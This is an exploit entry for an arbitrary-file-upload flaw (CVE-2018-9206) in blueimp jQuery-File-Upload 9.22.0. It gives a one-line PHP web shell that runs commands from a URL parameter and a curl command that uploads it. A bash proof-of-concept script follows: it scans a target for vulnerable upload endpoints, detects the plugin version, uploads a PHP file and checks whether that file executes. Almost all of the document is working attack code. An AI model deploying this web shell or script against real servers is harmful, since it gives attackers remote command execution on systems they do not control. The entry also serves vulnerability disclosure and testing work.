# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE-ID: N/A

# Vulnerability:
# The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php
# doesn't require any validation to upload files to the server.  It also doesn't exclude file types.
# This allows for remote code execution.

# shell.php:
<?php $cmd=$_GET['cmd']; system($cmd);?>

# Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php


#!/bin/bash



USERAGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

PATHS=("server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php")

MALICIOUS_FILE="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1).php"



# What is added in this exploit from the original version

# - a bit of refactoring

# - automatically request the right filename if it already exists on server ex: 'file (1).php'

# - Try to detect plugin version,

# - Try to detect index.html (allowing files upload via gui)



# Checking curl & jq



curl -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install curl."

    echo "# apt install curl"

    exit 1

fi



jq -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install jq."

    echo "# apt install jq"

    exit 1

fi



# Checking url



if [ -z $1 ]; then

    echo "[!] Please supply a target host as an argument."

    echo "$0 http://www.example.com"

    exit 1

fi



# Generating payload



echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

echo  "________________________________________________________________________________"

echo  "|PoC Exploit for Blueimp's jQuery File Uploader CVE-2018-9206"

echo  "|Checks for older versions of the code and upload an harmless file."

echo  "|"

echo  "| @_larry0, @phackt_ul"

echo  "|Works for version <= 9.22.0 and with Apache > 2.3.9 (AllowOverride None)."

echo  "---/"

echo

echo  "[+] Checking variations :"



# Creating alias



curl='curl --connect-timeout 10 -sk -A "${USERAGENT}"'



index=-1

found=0



# Looking for upload php class file



for x in ${PATHS[@]}; do

    echo "[*] Testing... -> $1/$x"

    ${curl} -i "$1/$x" | head -1 | grep 200 &>/dev/null



    if [ $? -eq 0 ]; then

        echo "[+] Found Path: $x"

        index=$((${index}+1))

        found=1

        break;

    fi;



    index=$((${index}+1))



done



# Determining the exploit path according to the jquery version



exploit_path=""



if [ ${index} -eq 0 -o ${index} -eq 2 ];then

    exploit_path="server/php/index.php"

fi



if [ ${index} -eq 1 ];then

    exploit_path="example/upload.php"

fi



if [ ${index} -eq 3 ];then

    exploit_path="php/index.php"

fi



if [ ${found} -ne 1 ]; then

    echo "[!] ### Error: A vulnerable jQuery-File-Upload plugin was not found!"

    exit 1

fi



# Trying to detect bower.json, package.json



version_files=("bower.json package.json")



for x in ${version_files[@]}; do

    version=`${curl} "$1/$x" | jq -r .version`

    if [ "X" != "X""${version}" ]; then

        echo "[!] Found: Plugin version ${version}"

        break;

    fi

done



# Trying to detect index.html



${curl} "$1/index.html" | grep -i "jquery file upload" &>/dev/null



if [ $? -eq 0 ]; then

    echo "[!] Found: $1/index.html is accessible"

fi



# Uploading payload



res=""

echo "[+] Running ${curl} -F \"files[]=@${MALICIOUS_FILE}\" -F \"filename=${MALICIOUS_FILE}\" \"$1/${exploit_path}\""



filename=`${curl} -F "files[]=@${MALICIOUS_FILE}" -F "filename=${MALICIOUS_FILE}" "$1/${exploit_path}" | jq -r .files[].name`



if [ "X""${filename}" == "X" ]; then

    echo "[!] It seems that we had a false positive! :("

    exit 1

fi



filename=`echo "$filename" | sed 's/ /%20/g'`



# Trying to see if victim has been exploited



echo "[+] Testing path: $1/$(dirname ${exploit_path})/files/${filename}"

res=`${curl} "$1/$(dirname ${exploit_path})/files/${filename}"`



if [ "${res}" == "it works" ]; then

    echo "[!] Found: $1 is vulnerable"

else

    echo "[+] Seems not vulnerable :("

fi



rm -f "${MALICIOUS_FILE}" &>/dev/null